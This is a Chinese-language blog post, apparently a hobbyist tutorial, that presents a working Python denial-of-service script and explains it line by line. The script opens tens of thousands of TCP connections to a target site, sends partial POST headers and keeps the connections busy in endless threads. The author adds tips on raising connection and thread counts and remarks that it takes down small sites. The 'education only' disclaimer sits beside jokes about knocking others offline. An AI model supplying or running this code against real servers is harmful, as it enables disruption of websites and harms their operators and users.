这篇blog我们来聊一下DOS的脚本遍写
声明:本篇文章仅用于教育用途,禁止用于人任何攻击违法行为!!
先上代码,后面在逐行解释:
import socket
import time
import threading
MAX_CONN = 20000 ##建立连接数,你也可以多建几组连接
PORT = 80 ##攻击端口
IP = "目标ip" ##你所要攻击的ip
PAGE = "对应的网页路径" ##对应网页路径
Http_referer = ("POST %s HTTP/1.1\r\n"
"HOST:%s\r\n" ##这一部分是请求头
"Content-Length:%d\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE, IP,len(PAGE)))
socks = [] ## 建立一个连接的数量的列表
def conn_thread(): ##定义线程
global socks
for i in range(0, MAX_CONN):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((IP, PORT))
s.send(Http_referer.encode())
print("[*]->成功发送连接!,conn=%d\n" % i)
socks.append(s)
except Exception as ex:
print("[*]->无法连接服务器或发送错误:%s\n" % ex)
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("hello,I am DOS hacking you".encode())
except Exception as ex:
print("[*]->发送异常:%s\n" % ex)
socks.remove(s)
conn_th = threading.Thread(target=conn_thread, args=())
send_th = threading.Thread(target=send_thread, args=())
conn_th.start()
send_th.start() ##开两组线程,你喜欢也可以多开
conn_th2 = threading.Thread(target=conn_thread, args=())
send_th2 = threading.Thread(target=send_thread, args=())
conn_th2.start()
send_th2.start()
哈哈,这时候别人的网站就打不开了。(达到拒绝服务的目的,也就是Bingo_DOS)
现在,我们来分模块来解析这个脚本:
1.模块导入
我们先导入了 time(我咋感觉这个没什么用 ),threading ,socket 三个模块
2.建立"Payload"
其实也不能算Payload吧,但是我觉得这样子叫挺好的:
MAX_CONN = 20000 ##建立连接数,你也可以多建几组连接
PORT = 80 ##攻击端口
IP = "目标ip" ##你所要攻击的ip
PAGE = "对应的网页路径" ##对应网页路径
- MAX_CONN:这里表示最大连接数(这里建议尽量写多一点,不然后面会有对DOS的攻击效果有影响,这个后面我会解释)
- PORT:这里就是定义端口了,像一般的网页http/https所对应的一般都是80/443端口
- IP:这里要写到受害者的ip了,当然了,你要写他的域名也是可以的,像baidu.com
- PAGE:这里写的就是具体的网络路径了,就是域名后面的一长串
3.http请求头
Http_referer = ("POST %s HTTP/1.1\r\n"
"HOST:%s\r\n" ##这一部分是请求头
"Content-Length:%d\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE, IP,len(PAGE)))
- 这一段就是基本的http的请求头了,我们话不多说,往下走
4.放置连接成功的请求
socks = [ ]
所有建立成功连接的请求都会被放在这里
5.定义连接线程
这里就要涉及到一些网络编程->套接字啦
def conn_thread(): ##定义线程
global socks
for i in range(0, MAX_CONN):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((IP, PORT))
s.send(Http_referer.encode())
print("[*]->成功发送连接!,conn=%d\n" % i)
socks.append(s)
except Exception as ex:
print("[*]->无法连接服务器或发送错误:%s\n" % ex)
- 先后把sock"拿"进来这个函数使用
- for循环是从第一个开始到你定义的连接数为止,分别建立套接字对象,
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
这里就是建立套接字,这里就是ipv4,tcp的格式,毕竟我一直建立着tcp连接的话,这样占用的带宽资源更多嘛(相对于UDP)
try:
s.connect((IP, PORT))
s.send(Http_referer.encode())
print("[*]->成功发送连接!,conn=%d\n" % i)
socks.append(s)
- 首先建立一个s套接字的连接(这里就是网络编程了)
- 接着就是将http的请求头发送了,如果发生一切正常,那么就会有相应输出,然后将连接成功的套接字存储在socks中
except Exception as ex:
print("[*]->无法连接服务器或发送错误:%s\n" % ex)
- 如果连接或者发送数据失败的话,那么except模块就会捕获这个错误,并且将错误输出
6.定义发送线程
建立了一个连接线程之后还是不够的,我们还得给他发点东西(防止对方因为没有响应结束掉我们的进程)
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("hello,I am DOS's hacking you".encode())
except Exception as ex:
print("[*]->发送异常:%s\n" % ex)
socks.remove(s)
- 可以看到我们是先写死了一个while循环
- 然后对每一个在socks连接成功的对象,进行发送信息的操作(我是发送了经过编码后的"hello,I am DOS hacking you"哈哈哈,简单粗暴)
- 当发送错误的时候,我们还是会回显发送错误的信息,并且将这个套接字对象移除
其实这里移除的话,也是被迫无奈,因为发送不成功不一定是连接中断,有可能是发送的数据丢包了呢(连接还是完好的),但是另可杀错一百,也不能放过一个嘛哈哈哈~~
7.创建线程
最后这里就是创建线程了(嘶~~,为什么这段代码没有颜色??)
conn_th = threading.Thread(target=conn_thread, args=())
send_th = threading.Thread(target=send_thread, args=())
conn_th.start()
send_th.start()
这个就是直接套模板了,也没什么好说的,你变态一点,可以开多个线程哈(但是我不能确保你的电脑会不会卡死hhhh~~)
8.代码的注意事项
- 首先不能乱打别人的网站我就不多说了,哈哈哈
- 然后就是这个代码你运行起来可能会收获一个这样的问题(当你MAX_CONN数量很少的时候) 哈哈,你怎么知道我用的是天选🤣🤣🤣🤣🤣
这可能发生在多个线程同时尝试移除同一个元素时,其中一个线程成功移除,而另一个线程在尝试移除时发现元素不存在导致的,所以解决的方法就是把MAX_CONN开大一点,或者说你开一个互斥锁🔒也是可以的,不过对应的代码就要发生更改,也会更加复杂(这对新手不太友好,这里就不说了)
- 最后,这个代码只是一个最简单的DOS攻击(不是DDOS)总有人会搞混,(混了的可以看一下我之前发的《“朴实无华”的DDOS攻击》这篇blog),对于一下小网站还是有用的,但是对于一些大企业(有强大的防御设备的)是没有用的,相反你如果攻击他们你还会暴露自己,从而导致:
好了,那么今天的分享就到这里,喜欢博主的小伙伴可以点点赞收藏一下哦